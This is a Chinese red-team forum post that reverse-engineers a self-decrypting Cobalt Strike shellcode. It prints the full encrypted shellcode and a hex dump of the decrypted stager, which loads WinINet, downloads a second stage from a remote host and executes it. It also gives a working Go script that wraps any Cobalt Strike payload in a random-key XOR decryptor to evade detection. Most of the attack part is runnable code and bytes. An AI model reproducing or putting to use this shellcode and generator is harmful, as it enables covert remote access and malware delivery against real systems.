|
红队蓝军 2023-05-15 15:45 发表于四川
以下文章来源于红蓝公鸡队 ,作者1833646451208405
1. 序言
先说下为什么会有这篇文章。前段时间在B站上看到一个 CS 二开的视频(该视频已下架),里面的一个功能吸引了我的注意(当时还比较小白),生成的 shellcode 是自混淆的,不同于对 shellcode 先进行加密,之后通过加载器进行解密的流程,UP主二开的 CS 生成的 shellcode 具有自解密的能力,加密后的 shellcode 与原本的 shellcode 看起来完全不同,但是加载后能够正常执行,我就好奇去问了UP主实现的思路,自然是被丑拒了。为了搞清楚他的方法,在多次观察他的视频后我发现,UP主在录制视频时将其中一个完整的 shellcode 录进了视频中,于是我把视频中的 shellcode 逐字节手敲出来,遂有了这次逆向分析。\
2. shellcode
- <p style="line-height: 30px; text-indent: 2em;">4C 8D 1D 3D 00 00 00 45 33 C9 4D 8D 43 0D 4D 8B
- D0 B8 AB AA AA AA 41 F7 E1 41 8B C1 41 FF C1 C1
- EA 03 8D 0C 52 C1 E1 02 2B C1 42 8A 44 18 01 41
- 30 02 49 FF C2 41 81 F9 A0 02 00 00 72 D3 49 FF
- E0 CC CC CC C2 D6 C3 9B 9F 4A B0 1D 4E DB 75 6B
- 46 9E 48 5F D7 C3 E8 0D 06 52 05 73 0E 5F BB BB
- CA 0B E4 5C 1B 9A 23 2A 11 9E 4E F3 3E 02 31 F1
- FE DB 75 6B 03 E5 2E 5C DA 9D FB 78 3C B5 31 E3
- 2B 35 87 13 F2 99 F4 95 23 F4 31 E3 2B C1 87 13
- F2 B9 77 58 95 BE 19 58 74 11 86 44 B1 2E DC 71
- 89 9E C2 3C 2F B8 AA 5C DA F1 DE 78 3A F5 B2 2E
- F9 B2 AF F7 9F 8D F5 DA 02 B4 14 0F 81 93 08 D7
- F6 28 C2 DA 0B 14 14 19 3F 97 04 DE 80 03 DE 69
- 2B 1C 30 48 34 B8 A6 EF 58 0F 97 4F 2B BA 11 AC
- 03 FD 85 F2 F3 2F 77 58 49 92 1B 1F 23 11 86 90
- ED 24 D5 69 89 9E 7A 24 36 B3 AD 5C DA 59 E5 6F
- 22 9A B2 2E B1 9F AD EF FA 8D F5 E6 3C B5 10 1F
- 81 93 3C D4 EF 2F DE 7B 89 9E 76 2A 46 11 86 7C
- C9 23 C2 69 89 9E 9E 1E 27 BA 82 5C DA A5 DC 71
- 21 B8 10 23 CD D2 E6 FB 9F 4A B0 55 C5 93 6D 27
- CD 97 E3 70 8D 03 3B 5D 1E BD 31 52 2E CE CC 1F
- D2 4B B0 1D 03 50 75 26 C3 16 B6 72 D3 C1 F5 7A
- 07 B8 35 57 07 5D 16 DD 14 C6 B0 95 4E DB 75 26
- 45 1E 82 10 D6 6A F9 1E 86 9E 4C 02 5E A0 EB 10
- 9E 08 30 21 4E 9C 00 78 04 56 BF 9B 92 39 C5 16
- 08 E3 19 6B 48 D9 47 94 9E 4A B0 E2 8C 93 F6 AA
- 42 97 F8 CA 87 38 68 55 C5 AE 12 23 CB 83 04 D2
- 14 82 4F CB 06 50 AD 23 CB 9B 14 64 4C 02 3D 50
- F9 93 FE 93 B9 05 8B 16 CA BD F8 96 86 93 FE B3
- B9 00 8B 16 CA 4D F8 96 85 97 FE 93 B9 00 8B 16
- CA 55 F8 96 85 97 FE 8B B9 00 8B 16 CA AD F8 96
- 81 97 FE 9B B9 00 7C 9B 9F 5A B0 5C F7 9B 75 6B
- 46 5D 14 DA 27 4A 80 1D 4E E8 BC 94 96 9A 4E 96
- 2A 4A B0 1D 06 50 AD 2A CC 87 C2 DE 15 8F 34 CF
- 3A C2 3C E0 8B 56 31 84 DE B4 70 95 5A DA 34 64
- F0 1E 81 11 CB 43 B1 99 9C AE 9F 2E 75 1F 87 12
- F3 6E 90 58 7D 1B 46 B9 75 1F 82 64 48 02 3B D5
- 02 52 19 4F 6E 93 F0 52 58 0E 94 3D 4E 6F 75 EB
- 03 E5 03 D3 14 99 F1 E2 9A 93 F0 AB 32 C4 8F 16
- D2 2D F4 96 89 93 FE B8 0E 5D 0B DA 60 9C 4F CE
- 02 56 E9 4F F6 D6 C3 9B D6 C1 EB 25 07 50 06 2B
- 0F 5D B8 D3 D6 C1 53 5C 11 9A 2B 2A 1B 97 9F C6
- 5C 07 3B 5D 6E 32 C3 95 B9 29 82 10 DE 6E F9 1E
- 8E 50 BF 64 F1 C2 8B DA 14 03 AC 54 4D 13 FE 5F
- D7 9F C0 6B 76 A8 4E E2 B1 19 02 00 2D B9 E6 AB
- AF 64 9F 2C 63 F5 5B 5A 6C FC F2 B6 BA 6D 9F 3A
- 60 EB 01 1C 3E A8 AF EE E8 32 CB 63 29 B2 19 1C
- 46</p>
复制代码 3. 逆向分析
为了对这段 shellcode 进行逆向分析,先使用一个简单的 shellcode 加载器加载这段 shellcode,然后直接拖到 x64dbg 即可,之后定位到 shellcode 的位置,开始分析。
shellcode 首先使用 lea 指令将一个地址赋值给了 r11 寄存器,之后对 r9 低位清零:
- 0000017B1B5C0000 | 4C:8D1D 3D000000 | lea r11,qword ptr ds:[17B1B5C0044] |
- 0000017B1B5C0007 | 45:33C9 | xor r9d,r9d |
复制代码 之后 shellcode 使用 lea 指令将刚才的地址偏移 0xD 的地址赋值给了 r8,后又赋值给 r10 寄存器:
- 0000017B1B5C000A | 4D:8D43 0D | lea r8,qword ptr ds:[r11+D] |
- 0000017B1B5C000E | 4D:8BD0 | mov r10,r8 |
复制代码 在内存窗口中看一下这段地址之间的内容,其中第一个机器码是 C2 ,和前面的三个 CC 指令应该是用来反调试的,对加解密没有具体作用,而之后的12个字节经过后面的分析会发现就是这段 shellcode 的密钥:
接下来就是解密程序:
其中 r10 寄存器中的值是在前面由 r8 寄存器传递的,而在解密程序中,r10 寄存器是 payload 的地址,由此可知 r8 寄存器实际保存的就是 payload 的地址,此处为 0x0000017B1B5C0051,通过内存窗口查看下该地址,发现密钥结束的地址就是加密的 payload 开始的地址:
通过分析之前的解密程序还发现 payload 的大小为 672 字节,发现密钥结束后的内容刚好是 672 字节:
解密得到真实 payload(该 payload 为UP主自写的 payload,并非 CS 的原生 payload):
- 0000017B1B5C0051 48 8B C4 48 89 58 10 48 89 70 18 48 89 78 20 55 H.ÄH.X.H.p.H.x U
- 0000017B1B5C0061 41 54 41 55 41 56 41 57 48 8D 68 A1 48 81 EC B0 ATAUAVAWH.h¡H.ì°
- 0000017B1B5C0071 00 00 00 45 33 ED C7 45 D7 4B 65 72 6E 44 88 6D ...E3íÇE×KernD.m
- 0000017B1B5C0081 E3 44 88 6D D3 44 88 6D 2F 44 88 6D 17 44 88 6D ãD.mÓD.m/D.m.D.m
- 0000017B1B5C0091 F3 C7 45 DB 65 6C 33 32 C7 45 DF 2E 64 6C 6C C7 óÇEÛel32ÇEß.dllÇ
- 0000017B1B5C00A1 45 B7 57 69 6E 69 C7 45 BB 6E 65 74 2E C7 45 BF E·WiniÇE»net.ÇE¿
- 0000017B1B5C00B1 64 6C 6C 00 C7 45 C7 4C 6F 61 64 C7 45 CB 4C 69 dll.ÇEÇLoadÇEËLi
- 0000017B1B5C00C1 62 72 C7 45 CF 61 72 79 41 C7 45 1F 49 6E 74 65 brÇEÏaryAÇE.Inte
- 0000017B1B5C00D1 C7 45 23 72 6E 65 74 C7 45 27 52 65 61 64 C7 45 ÇE#rnetÇE'ReadÇE
- 0000017B1B5C00E1 2B 46 69 6C 65 C7 45 07 49 6E 74 65 C7 45 0B 72 +FileÇE.InteÇE.r
- 0000017B1B5C00F1 6E 65 74 C7 45 0F 4F 70 65 6E C7 45 13 55 72 6C netÇE.OpenÇE.Url
- 0000017B1B5C0101 41 C7 45 F7 49 6E 74 65 C7 45 FB 72 6E 65 74 C7 AÇE÷InteÇEûrnetÇ
- 0000017B1B5C0111 45 FF 4F 70 65 6E 66 C7 45 03 41 00 C7 45 E7 56 EÿOpenfÇE.A.ÇEçV
- 0000017B1B5C0121 69 72 74 C7 45 EB 75 61 6C 41 C7 45 EF 6C 6C 6F irtÇEëualAÇEïllo
- 0000017B1B5C0131 63 65 48 8B 04 25 60 00 00 00 48 8B 48 18 4C 8B ceH..%`...H.H.L.
- 0000017B1B5C0141 41 20 EB 12 49 8B 40 50 66 44 39 68 18 0F 84 4D A ë.I.@PfD9h...M
- 0000017B1B5C0151 01 00 00 4D 8B 00 4D 85 C0 75 E9 4C 8B 45 67 49 ...M..M.ÀuéL.EgI
- 0000017B1B5C0161 63 40 3C 41 8B D5 46 8B 8C 00 88 00 00 00 4D 03 c@<A.ÕF.......M.
- 0000017B1B5C0171 C8 41 8B 49 20 49 03 C8 45 39 69 18 76 28 8B 01 ÈA.I I.ÈE9i.v(..
- 0000017B1B5C0181 42 80 3C 00 47 75 13 42 80 7C 00 0D 73 75 0B 46 B.<.Gu.B.|..su.F
- 0000017B1B5C0191 38 6C 00 0E 0F 84 0F 01 00 00 FF C2 48 83 C1 04 8l........ÿÂH.Á.
- 0000017B1B5C01A1 41 3B 51 18 72 D8 48 8B 75 67 48 8D 55 C7 49 8B A;Q.rØH.ugH.UÇI.
- 0000017B1B5C01B1 C8 FF D6 48 8B D8 48 8D 4D D7 FF D3 48 8D 4D B7 ÈÿÖH.ØH.M×ÿÓH.M·
- 0000017B1B5C01C1 48 8B F8 FF D3 48 8D 55 F7 48 8B C8 48 8B D8 FF H.øÿÓH.U÷H.ÈH.Øÿ
- 0000017B1B5C01D1 D6 48 8D 55 07 48 8B CB 4C 8B F8 FF D6 48 8D 55 ÖH.U.H.ËL.øÿÖH.U
- 0000017B1B5C01E1 1F 48 8B CB 4C 8B E0 FF D6 48 8D 55 E7 48 8B CF .H.ËL.àÿÖH.UçH.Ï
- 0000017B1B5C01F1 4C 8B F0 FF D6 BF 00 00 10 00 41 B9 40 00 00 00 L.ðÿÖ¿....A¹@...
- 0000017B1B5C0201 8B D7 41 B8 00 30 00 00 33 C9 FF D0 4C 8D 0D B5 .×A¸.0..3ÉÿÐL..µ
- 0000017B1B5C0211 00 00 00 48 8B D8 41 8A 51 01 45 8A C5 84 D2 74 ...H.ØA.Q.E.Å.Òt
- 0000017B1B5C0221 19 49 8B CD 80 F2 1F 41 FE C0 88 14 01 41 0F B6 .I.Í.ò.AþÀ...A.¶
- 0000017B1B5C0231 C8 42 8A 54 09 01 84 D2 75 EA 45 33 C9 44 89 6C ÈB.T...ÒuêE3ÉD.l
- 0000017B1B5C0241 24 20 45 33 C0 33 D2 33 C9 41 FF D7 48 8B C8 4C $ E3À3Ò3ÉAÿ×H.ÈL
- 0000017B1B5C0251 89 6C 24 28 45 33 C9 C7 44 24 20 00 B4 00 80 45 .l$(E3ÉÇD$ .´..E
- 0000017B1B5C0261 33 C0 48 8B D3 41 FF D4 48 85 C0 74 12 4C 8D 4D 3ÀH.ÓAÿÔH.Àt.L.M
- 0000017B1B5C0271 67 44 8B C7 48 8B D3 48 8B C8 41 FF D6 FF D3 4C gD.ÇH.ÓH.ÈAÿÖÿÓL
- 0000017B1B5C0281 8D 9C 24 B0 00 00 00 49 8B 5B 38 49 8B 73 40 49 ..$°...I.[8I.s@I
- 0000017B1B5C0291 8B 7B 48 49 8B E3 41 5F 41 5E 41 5D 41 5C 5D C3 .{HI.ãA_A^A]A\]Ã
- 0000017B1B5C02A1 4D 8B 40 20 E9 B6 FE FF FF 41 8B 41 24 49 03 C0 M.@ é¶þÿÿA.A$I.À
- 0000017B1B5C02B1 8B CA 0F B7 14 48 41 8B 49 1C 49 03 C8 8B 34 91 .Ê.·.HA.I.I.È.4.
- 0000017B1B5C02C1 49 03 F0 E9 E2 FE FF FF C2 77 6B 6B 6F 25 30 30 I.ðéâþÿÿÂwkko%00
- 0000017B1B5C02D1 2E 2F 31 2D 2E 2E 31 2A 2A 31 2D 25 27 2F 27 2E ./1-..1**1-%'/'.
- 0000017B1B5C02E1 30 74 77 78 7E 6C 75 77 78 7B 7E 67 69 6C 77 26 0twx~luwx{~gilw&
- 0000017B1B5C02F1 EB 01 1C 3E A8 AF 00 00 00 00 00 00 00 00 00 00 ë..>¨¯..........
复制代码 解密后使用 jmp 指令跳转执行:
- 0000017B1B5C003E | 49:FFE0 | jmp r8 |
复制代码 之后的部分即是实现 CS Stager 功能的 payload 部分,可以参考我之前的 《CS 4.7 Stager 逆向及 Shellcode 重写》的 shellcode 分析部分,这里不再详细分析。
4. PoC
通过上面的分析,我们可以将这段 shellcode 拆解成解密器、密钥、加密的 payload 三个部分,知道了原理,我们就可以自己实现一个脚本来生成这样一段 shellcode 了,这里我直接使用 CS 的原生 payload 作为被加密的内容,所以只需要实现其中的解密器和密钥即可,PoC如下:
- package main
- import (
- "bytes"
- "encoding/binary"
- "io/ioutil"
- "math/rand"
- "time"
- )
- // 生成随机密钥
- func GenRandomKey() []byte {
- rand.Seed(time.Now().UnixNano())
- key := make([]byte, 12)
- rand.Read(key)
- return key
- }
- // 使用密钥对payload进行加密
- func XorEncrypt(payload []byte, key []byte) []byte {
- var xored_payload []byte
- for i := 0; i < len(payload); i++ {
- xored_payload = append(xored_payload, payload[i]^key[i%len(key)])
- }
- return xored_payload
- }
- // 生成解密器
- func MakeDecryptor(payload []byte, key []byte) []byte {
- prefix := []byte{0x4C, 0x8D, 0x1D, 0x3D, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x4D, 0x8D, 0x43, 0x0D, 0x4D, 0x8B, 0xD0, 0xB8, 0xAB, 0xAA, 0xAA, 0xAA, 0x41, 0xF7, 0xE1, 0x41, 0x8B, 0xC1, 0x41, 0xFF, 0xC1, 0xC1, 0xEA, 0x03, 0x8D, 0x0C, 0x52, 0xC1, 0xE1, 0x02, 0x2B, 0xC1, 0x42, 0x8A, 0x44, 0x18, 0x01, 0x41, 0x30, 0x02, 0x49, 0xFF, 0xC2, 0x41, 0x81, 0xF9}
- suffix := []byte{0x72, 0xD3, 0x49, 0xFF, 0xE0, 0xCC, 0xCC, 0xCC, 0xC2}
- size := int32(len(payload))
- bytesBuffer := bytes.NewBuffer([]byte{})
- binary.Write(bytesBuffer, binary.LittleEndian, size)
- decryptor := append(append(prefix, bytesBuffer.Bytes()...), suffix...)
- return decryptor
- }
- func main() {
- key := GenRandomKey()
- payload, _ := ioutil.ReadFile("payload.bin")
- xored_payload := XorEncrypt(payload, key)
- decryptor := MakeDecryptor(payload, key)
- shellcode := append(append(decryptor, key...), xored_payload...)
- _ = ioutil.WriteFile("shellcode.bin", shellcode, 0666)
- }
复制代码 测试上线:
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|